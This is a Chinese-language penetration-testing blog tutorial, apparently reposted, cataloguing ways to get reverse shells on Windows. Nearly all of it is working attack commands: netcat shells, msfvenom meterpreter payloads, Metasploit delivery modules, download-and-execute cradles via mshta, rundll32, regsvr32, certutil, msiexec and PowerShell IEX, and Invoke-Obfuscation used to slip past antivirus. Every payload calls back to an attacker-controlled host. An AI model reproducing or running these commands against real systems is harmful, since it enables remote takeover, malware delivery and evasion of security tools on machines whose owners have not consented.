shell 监听端口_【内网渗透】windows反弹shell方法大全

正向shell: 控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。 反向shell(反弹shell): 被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口 被占用等问题导致被控端不能正常接收发送过来的数据包。

nc

nc正向shell

被控端: nc -lvvp 6666 -e cmd.exe 开启监听dae6934f8d33a5d54640db8bb7f6166a.png

控制端: nc 192.168.1.62 666620b77d36a3c29208066ed83311247924.png

此原理就是,被控端将cmd.exe重定向到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shellbdd43f5e38817f6aa445b9a39914214c.png

nc反弹shell

控制端

nc -lvvp 6666 开启监听shell 监听端口_【内网渗透】windows反弹shell方法大全_第1张图片被控制端 nc.exe -e cmd.exe 192.168.8.31 6666 ·3bd28febf9712580d68730ab54f38ad6.png

被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。shell 监听端口_【内网渗透】windows反弹shell方法大全_第2张图片

mshta.exe

Microsoft HTML Application,用于执行 .hta文件

1. 通过msf的HTA Web Server模块发起HTA攻击

use exploit/windows/misc/hta_server
set srvhost 192.168.8.31
run

执行成功后会自动开启一个http服务,并返回一个url

shell 监听端口_【内网渗透】windows反弹shell方法大全_第3张图片被控端执行urledcb8d74409a29b42765fe807bb69d8b.png回弹成功136c760cc2b235ab4d90669aeba2910a.png

2. 通过msfvenom生成恶意hta文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=6667 -f hta-psh -o 6667.hta

开启监听

 handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.8.31 -P 4444

a7848e84db13ae26d13d25bbcbedf688.png开启一个http服务,用于被控制端下载执行hta文件6790eacf59a23c083f053158572f1ea5.png被控制端执行02487da9c3c0b4c4d39a1777c1b0cc6f.png反弹成功7609725bc38d891dffdd3f75bff6ad27.png

3. 通过Cobaltstrike生成恶意HTA文件

shell 监听端口_【内网渗透】windows反弹shell方法大全_第4张图片shell 监听端口_【内网渗透】windows反弹shell方法大全_第5张图片生成一个hta文件,然后开一个http的服务shell 监听端口_【内网渗透】windows反弹shell方法大全_第6张图片shell 监听端口_【内网渗透】windows反弹shell方法大全_第7张图片成功后返回一个url,同理使用 mshta.exe执行即可

rundll32.exe

Rundll32.exe与Windows操作系统相关,它允许调用从DLL导出的函数(16位或32位),并将其存储在适当的内存库中。

1. 通过msf的SMB Delivery模块

use exploit/windows/smb/smb_delivery
set srvhost 192.168.8.31
run -j

shell 监听端口_【内网渗透】windows反弹shell方法大全_第8张图片注意这里需要sudo权限执行msf,这里会返回一个url

被控制端执行

rundll32.exe \\192.168.8.31\jVYTL\test.dll,0

shell 监听端口_【内网渗透】windows反弹shell方法大全_第9张图片这个模块的smb版本太低了,所以win10运行会失败,如果被控制端是win7则是ok的,这里就不再演示了。

2. 通过msfvenom生成反弹shell的dll

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=6668 -f dll > 6668.dll
995503fefc3a4a7b2a03e6e520c64acc.png 在这里插入图片描述

msf进行端口的监听77685199b76e95afbcd0fe00d3db7c7c.png将dll文件下载到被控制端,并用rundll32.exe执行

rundll32.exe shell32.dll,Control_RunDLL C:\Users\asus\Desktop\6668.dll
99a90179b1b15bce2c3e259abb79b59e.png 在这里插入图片描述

利用rundll32.exe加载hta反弹shell

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=6669 -f hta-psh > 6669.hta

shell 监听端口_【内网渗透】windows反弹shell方法大全_第10张图片msf开启监听,下载此文件到被控制端 执行文件 rundll32.exe url.dll OpenURL 6669.htad270e2beef3a2d4379920b190cea31ff.png反弹成功shell 监听端口_【内网渗透】windows反弹shell方法大全_第11张图片

Regsvr32.exe

Regsvr32.exe是一个命令行应用程序,用于注册和注销OLE控件,如Windows注册表中的dll和ActiveX控件。Regsvr32.exe安装在Windows XP和Windows后续版本的 %systemroot%\System32 文件夹中。

语法如下shell 监听端口_【内网渗透】windows反弹shell方法大全_第12张图片

通过msf的Web Delivery模块启动Regsvr32.exe

use exploit/multi/script/web_delivery
msf exploit (web_delivery)> set srvhost 192.168.8.31
msf exploit (web_delivery)> set target 3
msf exploit (web_delivery)> set payload windows/x64/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.8.31
msf exploit (web_delivery)> exploit –j

shell 监听端口_【内网渗透】windows反弹shell方法大全_第13张图片被控制端执行这条命令4929102de40f86a664f5b632c41c3d47.png反弹成功940b78e3d9c76b6196d65a46d8c0050d.png

Certutil.exe

Certutil.exe是作为证书服务的一部分安装的命令行程序。我们可以使用此工具在目标计算机中执行恶意的exe文 件以获得meterpreter会话。

msfvenom生成恶意exe文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7001 -f exe > 7001.exeshell 监听端口_【内网渗透】windows反弹shell方法大全_第14张图片开启http服务用于下载恶意文件 然后通过certuil下载并执行文件

certutil.exe -urlcache -split -f http://192.168.8.31:8000/7001.exe 7001.exe
./7001.exe

·5d14d6219868829b9af8ec1732590ddf.png反弹成功shell 监听端口_【内网渗透】windows反弹shell方法大全_第15张图片清除日志 certutil.exe -urlcache -split -f http://192.168.8.31:8000/shell.exe delete

powershell

通过powershell发动powercat攻击

powercat是powershell本地后门侦听器和反向shell工具,也称为修改版本的netcat,集成支持经过编码的有效载荷。

下载地址

下载之后开启http服务,用于远程加载powercat文件 控制端监听端口cdfd8641ba4a636b17512869df0f8c6a.png

被控制端执行,转发cmd命令到7002端口

 powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.8.31:8000/powercat.ps1');powercat -c 192.168.8.31 -p 7002 -e cmd"

反弹成功shell 监听端口_【内网渗透】windows反弹shell方法大全_第16张图片

通过Web Delivery反弹shell

use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
run -j

shell 监听端口_【内网渗透】windows反弹shell方法大全_第17张图片shell 监听端口_【内网渗透】windows反弹shell方法大全_第18张图片被控制端执行相应的命令即可shell 监听端口_【内网渗透】windows反弹shell方法大全_第19张图片反弹成功shell 监听端口_【内网渗透】windows反弹shell方法大全_第20张图片

通过powershell启动cscript.exe

powershell允许客户端通过执行cscript.exe来运行wsf、js、vbscript脚本。

msfvenom生成恶意文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7003 -f vbs -o 7003.vbsshell 监听端口_【内网渗透】windows反弹shell方法大全_第21张图片开启一个http服务,然后开启一个handler监听 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.8.31 -P 7003shell 监听端口_【内网渗透】windows反弹shell方法大全_第22张图片被控制端执行

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.8.31:8000/7003.vbs','C:\Users\asus\Desktop\7003.vbs');Start-Process C:\Windows\System32\cscript.exe C:\Users\asus\Desktop\7003.vbs"

shell 监听端口_【内网渗透】windows反弹shell方法大全_第23张图片回弹成功shell 监听端口_【内网渗透】windows反弹shell方法大全_第24张图片

通过powershell启动bat文件

powershell允许客户端执行bat文件

通过msfvenom生成bat恶意文件

msfvenom -p cmd/windows/powershell_reverse_tcp lhost=192.168.831 lport=7004 -o 7004.bat
shell 监听端口_【内网渗透】windows反弹shell方法大全_第25张图片 在这里插入图片描述

msf开启监听,然后开启http服务用于被控制端下载恶意文件 handler -p cmd/windows/powershell_reverse_tcp -H 192.168.8.31 -P 7004475d6b6efdce54dffbdebb99125d8914.png9d94a7c190337f8c21cbb8cedfe34fdc.png

被控制端执行恶意文件 powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.8.31:8000/7004.bat')" 反弹成功shell 监听端口_【内网渗透】windows反弹shell方法大全_第26张图片

通过powershell启动exe文件

msfvenom生成恶意文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7006 -f exe -o 7006.exeshell 监听端口_【内网渗透】windows反弹shell方法大全_第27张图片msf开启监听 handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.8.31 -P 70061ea6175146284ba792db475e40675ae8.png

执行恶意文件,下面两种方式都可以

powershell (new-object
System.Net.WebClient).DownloadFile('http://192.168.8.31:8000/7006.exe','1.exe');start 1.exe


powershell -ep bypass -nop -w hidden (new-object
system.net.webclient).downloadfile('http://192.168.8.31:8000/7006.exe','1.exe');start-process 1.exe

676b24e10f6e7465ae7b55a21b447463.png 在这里插入图片描述

反弹成功shell 监听端口_【内网渗透】windows反弹shell方法大全_第28张图片

msiexec.exe

这是Windows Installer的一部分,用于安装Windows Installer安装包(MSI)

生成恶意文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7005 -f mis 7005.msi7b296266b8d944694936afd59a507156.png

msf开启监听,同时开启http服务用于下载恶意文件1e2f5c5ad5b161dec8e3ebb47b5ce484.png

执行恶意文件 msiexec /q /i http://192.168.8.31:8000/7005.msicf9bd275b14620b3a32cb126feb1972a.png这个先占个坑吧,没查出来有要怎么解决

Powershell代码混淆

这里主要介绍Invoke-Obfuscation这款工具,可以去github上下载,传送门

启动Invoke-Obfuscation

powershell -ep bypass
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation

shell 监听端口_【内网渗透】windows反弹shell方法大全_第29张图片shell 监听端口_【内网渗透】windows反弹shell方法大全_第30张图片先用msfvenom生成一个ps1文件 sfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7007 --arch x64 --platform wiindows -f psh-reflection -o 7007.ps1shell 监听端口_【内网渗透】windows反弹shell方法大全_第31张图片shell 监听端口_【内网渗透】windows反弹shell方法大全_第32张图片

启动完成过后,设置混淆脚本代码的位置 set scriptpath C:\Users\asus\Desktop\7007.ps1shell 监听端口_【内网渗透】windows反弹shell方法大全_第33张图片选择混淆方式为 TOKEN\ALL\1shell 监听端口_【内网渗透】windows反弹shell方法大全_第34张图片保存混淆之后的脚本 out out.ps1shell 监听端口_【内网渗透】windows反弹shell方法大全_第35张图片shell 监听端口_【内网渗透】windows反弹shell方法大全_第36张图片

执行混淆后的文件,反弹成功了,火绒没拦截shell 监听端口_【内网渗透】windows反弹shell方法大全_第37张图片

总结

主要就是通过msfvenom生成恶意文件,然后想办法传到被控制端,通过相应的软件执行恶意文件。

你可能感兴趣的:(shell,监听端口)